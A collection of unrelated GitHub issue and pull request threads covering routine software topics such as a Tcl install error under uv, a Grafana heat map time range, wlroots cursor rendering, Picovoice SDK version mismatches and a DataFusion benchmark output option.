    /tools/deps/lib/tcl8.6 /Users/juan_cano/Projects/Personal/Music/.venv/lib/tcl8.6 /Users/juan_cano/Projects/Personal/Music/lib/tcl8.6 /Users/juan_cano/Projects/Personal/Music/.venv/library /Users/juan_cano/Projects/Personal/Music/library /Users/juan_cano/Projects/Personal/Music/tcl8.6.12/library /Users/juan_cano/Projects/Personal/tcl8.6.12/library

This probably means that Tcl wasn't installed properly.

But it does work with newly installed versions!
❯ uv python install 3.10.16
Installed Python 3.10.16 in 13.09s
 + cpython-3.10.16-macos-aarch64-none
❯ uv venv -p 3.10.16
Using CPython 3.10.16
...
❯ # Now everything works!

You can uv python install --reinstall <version>


Try to run tests

To document our attempt at getting tests to run

https://altschool.atlassian.net/browse/ALTOS-5878 to track this


F reading in as FALSE in plot

https://github.com/COMPASS-DOE/TEMPEST-1-porewater/blob/4e6beb2522bdf2c19020219b8936bf3aa3784d5a/scripts/teros_prep.Rmd#L90

Note we are discussing this via https://github.com/COMPASS-DOE/data-workflows/issues/186

Resolved in other place


Heat map time range inconsistent with data

This is a pretty neat plugin! Thanks for making it available.
Came across an issue when data stops after a certain point, The heat map time range seems to be inconsistent. Don't know whether this is by design but it didn't appear to be quite intuitive. The issue may be better explained by two examples:
Query A - expected results:
30 day time period; heat maps show the full 30 days.
https://portal.netsage.global/grafana/d/80IVUboZk/individual-flows-per-country?orgId=2&from=1610092800000&to=1612771199000&var-src=United States&var-dest=Germany
Query B - unexpected results:
30 day time period, but heat maps show only a week.
https://portal.netsage.global/grafana/d/80IVUboZk/individual-flows-per-country?orgId=2&var-src=Austria&var-dest=Philippines&from=1607438294129&to=1610030294129
Any pointers in resolving this would be greatly appreciated!

Thank you for taking the time to tell me about this 🙏  I agree it does look weird. I've been trying to reproduce this without success though.
Could you elaborate on what you mean by "when data stops after a certain point"?

Marcus, thank you for responding.
Let's say, for example we choose a timeline of Feb 1, 2021 - Mar 1, 2021. Let's assume that this dataset does have data starting from Feb 1, 2021.
If for some reason, after Feb 7, 2021 the dataset has no data, the heat maps will only be displayed from Feb 1, 2021 - Feb 7, 2021. Currently, in the panel, the x-axis does not extend beyond Feb 7, 2021. Please see the link in "Query B" above and scroll down to the heat map.
Intuitively, one would expect that even though there are no heatmaps to display (because there is no data) beyond Feb 7, 2021, the empty x-axis would extend all the way to Mar 1, 2021 because that was the specified timeline.
Hope this clears things a bit.

Thank you for clarifying! I'll try and see if I can reproduce this and get back to you

I set up a test case with three data points in the middle of the interval. All three are visible and the interval seems ok to me.

What version of Grafana and the plugin are you running?


Use black autoformatter for pre-commit of python files

Also move flake8 to it's proper location and update pylint

If we decide to go ahead with #81 , let's do black for python at more or less the same time, and then add the two merge commits for these two PRs in a git blame ignore file (see https://akrabat.com/ignoring-revisions-with-git-blame/ for more information) so that we still have a clean history


Update httpcall.cpp

ensure encodingHeaderValue is initialized to not set off compiler warnings in Visual Studio

Adding @NandoCT1014 as original author of this code.


spamdb.py is born

additional bsons in dump as well.

nice job! I only wish the python PEP naming_conventions were respected :tongue:


Fix: ValueError: path is on mount 'D:', start on mount 'C:'

When running branch on seperate drive with virtualenv site-packages, causes ValueError.

it's almost 2022, this is broken


Allow compositors to do not call wlr_output_swap_buffers

Compositors right now have to call wlr_output_swap_buffers even if the output is not damaged because software cursors are rendered during this step. We should add a way for compositors to detect when they don't need to call wlr_output_swap_buffers.
Software cursors need to be rendered again when they move or when their image is updated. Hardware cursors never need to be rendered.
A few possible solutions:

Add a damaged signal to wlr_output, compositors can listen to it and schedule a swap_buffers call
Add a bool damaged field to wlr_output, compositors can check it before calling swap_buffers
Add a bool wlr_output_render_cursors function that needs to be called by the compositor to render software cursors, and returns true if the output becomes damaged. This has the upside of removing software cursor rendering from swap_buffers (and let the compositor do it whenever it wants to), but also requires compositors to do one more thing.

Related to #190.

bool wlr_output_needs_swap(struct wlr_output *output);

The downside of your solution is that we need to keep a state anyway: if there are software cursors, we don't always need to render them (ie. if they don't move and their image isn't updated). So we'll need a field in wlr_output anyway.

I think that's more of an implementation detail than a downside.

Sure, what I'm saying is that it would be simpler to just add a bool needs_swap field to the struct. Adding a new function doesn't add value.

Alright, w/e.


haskell: add overrides for jsaddle projects

Motivation for this change
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nix-review --run "nix-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[ ] Fits CONTRIBUTING.md.

I marked port to stable. It is harmless to fix broken packages on a release branch I think, and good shrink reflex-platform before the switch to 19.06.

Note that GTK3 stuff is still broken due to some weird version incompatibilities in the latest haskell packages update. Hopefully will resolve in a newer version.


Obfuscating assemblies with missing dependencies

ConfuserEx is now able to obfuscate assemblies without all the dependencies.
It makes some worst case assumptions for missing dependencies.

:white_check_mark: Build ConfuserEx 348 completed (commit https://github.com/mkaring/ConfuserEx/commit/0e9d296697 by @mkaring)

:white_check_mark: Build ConfuserEx 350 completed (commit https://github.com/mkaring/ConfuserEx/commit/ffa9248f70 by @mkaring)

:x: Build ConfuserEx 593 failed (commit https://github.com/mkaring/ConfuserEx/commit/4440083546 by @mkaring)

:white_check_mark: Build ConfuserEx 601 completed (commit https://github.com/mkaring/ConfuserEx/commit/2c3ecb8d24 by @mkaring)

:white_check_mark: Build ConfuserEx 623 completed (commit https://github.com/mkaring/ConfuserEx/commit/1528c5a0d0 by @mkaring)

:white_check_mark: Build ConfuserEx 623 completed (commit https://github.com/mkaring/ConfuserEx/commit/1528c5a0d0 by @mkaring)


Picovoice Issue: TypeError: --init--() got an unexpected keyword argument 'access_key'

Make sure you have read the documentation, and have put forth a reasonable effort to find an existing answer.
Done...poured over the doc...have successfully run the mic_hat and pvrespeakerdemo's per the SEEED site...
Expected behaviour
I am trying to run picovoice_demo_mic
Platform is an RPi 3...
I added the access key, and the RPi path info per the doc for the RPi keyword and context parameters...
Actual behaviour
When I call the routine with parameters included per the doc, I get the error noted in the title block...
Steps to reproduce the behaviour
I tried running without using the access key parameter, but then I get an error saying it is needed...
If I try just picovoice_demo_mic --access_key 'blah,blah' --show_audio_devices I get the expected output showing my system stuff...
So, I know the access key works in that situation, so not clear why I would get the other error...

What is the version of picovoice PIP package? You can see it using pip freeze

Thanks...I think I got the package from downloading the full SDK on
GitHub?

Ah, I just checked into the git again and see that it has been
updated there just recently...

Thanks for the quick help!

Frank

On 1/21/2022 12:01 PM, Kwangsoo Yeo
  wrote:

  This is caused because picovoice sdk version is 2 or
    greater while the respeaker demo is 1.1. The versions are
    incompatible. #288 updates the respeaker version
    to 2.1. The latest demo can be found here: https://pypi.org/project/pvrespeakerdemo/
    or you can clone from github. I will close this issue but if you
    have any other questions, feel free to ask here or reopen the
    issue,
  —
    Reply to this email directly, view it on GitHub, or unsubscribe.
    Triage notifications on the go with GitHub Mobile for iOS or Android.

    You are receiving this because you authored the thread.Message
      ID<EMAIL_ADDRESS>  [

{
@.": "http://schema.org",
@.": "EmailMessage",
"potentialAction": {
@.": "ViewAction",
"target": "https://github.com/Picovoice/picovoice/issues/287#issuecomment-1018819186",
"url": "https://github.com/Picovoice/picovoice/issues/287#issuecomment-1018819186",
"name": "View Issue"
},
"description": "View this Issue on GitHub",
"publisher": {
@.": "Organization",
"name": "GitHub",
"url": "https://github.com"
}
}
]

Now I get an error that it could not find the .ppn file...I see that the folders under resources have changed names with some<EMAIL_ADDRESS>added - do I need to use those folder names?


Add validation to remove using pipeline/storeProcedure as a node

Describe your changes:
Fixes

I worked on ... because ...

Type of change:

[ ] Bug fix
[ ] Improvement
[ ] New feature
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected)
[ ] Documentation

Checklist:

[x] I have read the CONTRIBUTING document.
[ ] My PR title is Fixes <issue-number>: <short explanation>
[ ] I have commented on my code, particularly in hard-to-understand areas.
[ ] For JSON Schema changes: I updated the migration scripts or explained why it is not needed.

Closing this as this is handled , pipline can be added as a node


NextJS blog example using markdowndb

Create a tutorial and example in examples folder of using markdowndb to make a simple nextjs based blog.
Reference: https://nextjs.org/learn-pages-router/basics/data-fetching/blog-data - note we are replacing their hand-coded get the blog posts with our quicker version and explaining the extra stuff we can do.
Acceptance

[x] Tutorial written 🚧2023-11-22  see sketch below ✅2023-11-30 https://github.com/datopian/markdowndb/pull/76
[x] Example in examples folder showing finished state (in perfect world we have a branch with each major change in tutorial being a commit so we can point to that)  ✅2023-11-30 https://github.com/datopian/markdowndb/pull/76

Tasks

[x] Draft an outline of tutorial  ✅2023-11-30 https://github.com/datopian/markdowndb/pull/76
[x] Roughly fill it in and write the code as you go ...

[x] Review together in a pull request (you can submit even at first step as a draft PR and we keep reviewing)

[x] Fill it out ...
[x] Done ...

Notes
Something like this:

we're going to create a nextjs based blog with help of markdowndb
here's a simple nextjs project
here's a folder with 3 blog posts
here's some code to create the blog listing page
we need to load those blog posts and get their titles etc
let's use markdowndb

install
use: here's the code snippet

ok, so we could have done that by hand ...
but here are some cool features

look ma, no front matter: auto-extract title for us from the first heading in the file. auto-extract an image
validation! suppose we add a blog post and forget to add an image field. now our site will erro

we could check for this easily in markdowndb ... here's how

tags: just set tags with hashbang

I drafted the tutorial and encountered an issue while attempting to write a basic code for creating a nextjs blog with MarkdownDB:

It seems that this issue might be related to #44. I'll delve into debugging to identify and address the problem.

This is done  ✅2023-11-30 https://github.com/datopian/markdowndb/pull/76


TPC-H benchmark can optionally write JSON output file with benchmark summary

Which issue does this PR close?
Closes https://github.com/apache/arrow-datafusion/issues/1757.
Rationale for this change
To help with benchmark automation and reporting, I would like the benchmark results to be written to a JSON file.
What changes are included in this PR?
This PR adds a new --output argument to the tpch benchmark. When specified, a JSON summary file will be written to the specified directory, containing the benchmark results.
Example JSON output
{
  "benchmark_version": "5.0.0",
  "datafusion_version": "6.0.0",
  "num_cpus": 48,
  "start_time":<PHONE_NUMBER>,
  "arguments": [
    "benchmark",
    "datafusion",
    "--iterations",
    "1",
    "--path",
    "/mnt/bigdata/tpch/sf100-tbl",
    "--format",
    "tbl",
    "--query",
    "1",
    "--batch-size",
    "4096",
    "-o",
    "/tmp"
  ],
  "query": 1,
  "iterations": [
    {
      "elapsed":<PHONE_NUMBER>0099998,
      "row_count": 4
    }
  ]
}

Are there any user-facing changes?
There is a new --output option when running the tpch benchmarks.

@andygrove FYI I pushed a fix for a clippy linting error

Follow on PR that I needed to test this more easily: https://github.com/apache/arrow-datafusion/pull/1800


Max width for explorer content

          **suggestion (non-blocking)**: This component should have a max width on it.

There's no current standard - lots of other pages need it to, so this could be a follow up ticket. But something like xl:max-w-3xl.

(Note: I'm not pretending to have a giant monitor, but I zoomed out to emphasies the problem)
Originally posted by @edd in https://github.com/vegaprotocol/frontend-monorepo/pull/2914#discussion_r1106194560

I think the best approach is to change the layout of the explorer a bit so it will have a max width.

Hey @asiaznik @edd  there is a ticket already for this and some initial design work done for it, just a matter of prioritisation https://github.com/vegaprotocol/frontend-monorepo/issues/1787 so closing this as a duplicate


ClientModel: multipart investigation

This one explores ideas around taking an HttpContent in a BinaryData public API -- something we probably don't want to do, but I want to look at what the benefits of that are to understand them better.

API change check
APIView has identified API level changes in this PR and created following API reviews.
System.ClientModel


Case block and containers

Changes:

Preliminary case block added to the menu consisting of a surrounding block with an output anchor and 2 alternatives with a result anchor (adding and removing alternatives is supported by the block)
Alternatives in a case block generate an expression in the form of a pattern, a pattern guard and a body (though in its current form only the guard is populated dynamically and the body is populated by the result anchor)
Blocks can attach themselves to a container and expression building is limited accordingly
Expression building now returns both the expression and a set of required blocks for that expression

Thanks, I'll take a look.

I consider this "Good Enough:tm:"
Lots of improvements are possible, but not in this PR as it has grown too large already.


Remove a popup when underlying Marker is removed

Thanks for working on this react-mapbox-gl library.  So useful!
I've created buttons on my popups.  One of these buttons deletes the item represented by the popup and reloads the data on the map.  The deleted marker is removed but the associated popup stays on the map until it's manually closed.
async function handleDelete(event) {
      event.preventDefault();
      try {
        await delete(event.target.id);
      } catch (e) {
        onError(e);
      }

       //flag the data as changed so it's reloaded.
       setChanged(true);
    }

<Popup latitude=lat longitude=lon  closeOnClick={false}  >
        <div className="btn-group">
             <input onClick={handleDelete} type="submit" id={id}  name="Cancel" value="Cancel" />
          </div>
</Popup>

The popup remains on the map even though it's underlying marker is removed.  Is there a way that I can force the popup to close when it's marker is removed?  Or a way to manually close it from within the delete event handler?
Thanks for any suggestions.

I realized I'm actually using the react-map-gl library from Uber, which is different from this react-mapbox-gl library.  Found a solution.
Thanks.


Make commander work on Windows by making Commander::UI.enable_paging a NOOP

One of our Windows users encountered a problem with a commander based gem that is similar to issue #21.
This change turns enable_paging into a NOOP on Windows platforms.

Thanks for looking into this! I'm wondering if we can solve this problem in a more general way though, instead of using platform detection. After a bit more research I found that there are versions of both JRuby and Windows Ruby that do support Kernel.fork, so I think rescuing the exception might be a better strategy. I've put together a fix on this branch: https://github.com/visionmedia/commander/tree/36-enable-paging-noop
Could you check that out and test it on Windows and let me know if it resolves the error for you?
Thanks!
-Gabriel

Hey, thanks for the update. I've tested the change on a Windows VM (Win XP) with Ruby 1.8.7 and it works.
I've added a few comments to the commit.
Again, thanks for looking into this!


Tab/New Entity behaviour since 1.6.5?

Hi Volkan :)
I'm sorry but I'm not sure if an update broke things... I was developing on 1.6.4 on Friday and then updated this morning when VS said there were updates available.
Since then the Add New behaviour on tab pages seems to open a new master page instead of a new detail page?
For example in Customer --> Edit Customer(CustomerName) --> Orders Tab : when you click "New Order", the New Order dialog opens with OrderForm on a "Customer" tab and a blank "Orders" tab and the New Order Detail does the same thing.

Is this a bug or did I break it :)
Thanks s

You didn't break it, i did. Recently i changed template name determination algorithm in TemplatedWidget but did a very wrong usage of a static variable.
Thanks for reporting. Think i need more tests and more coffee. Fixed in 1.6.7

lol next time I'll get you the coffee :)